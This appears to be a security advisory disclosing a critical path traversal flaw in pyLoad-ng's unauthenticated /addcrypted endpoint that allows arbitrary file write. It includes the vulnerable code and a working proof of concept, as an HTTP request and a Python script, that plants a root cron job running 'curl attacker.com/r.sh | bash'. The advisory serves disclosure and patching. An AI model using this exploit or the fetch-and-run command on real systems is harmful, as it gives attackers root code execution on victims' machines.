PT-2026-53568 — Pypi Pyload-Ng

PT-2026-53568 · Pypi · Pyload-Ng

Published

2026-06-29

Updated

2026-06-29

CVSS v3.1

9.8

Critical

Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details

Endpoint: POST /addcrypted
Issue: src/pyload/webui/app/blueprints/cnl blueprint.py

Vulnerable Code

python

 dlc path = os.path.join( 
   dl path, package.replace("/", "").replace("", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc path, mode="wb") as fp:

PoC

http

POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload:

bash

* * * * * root curl -s http://attacker.com/r.sh | bash

Send crafted POST

python

import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
  "package": "../../../../etc/cron.d/exploit",
  "crypted": b64
})

Impact

The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-493

Affected Products

Pyload-Ng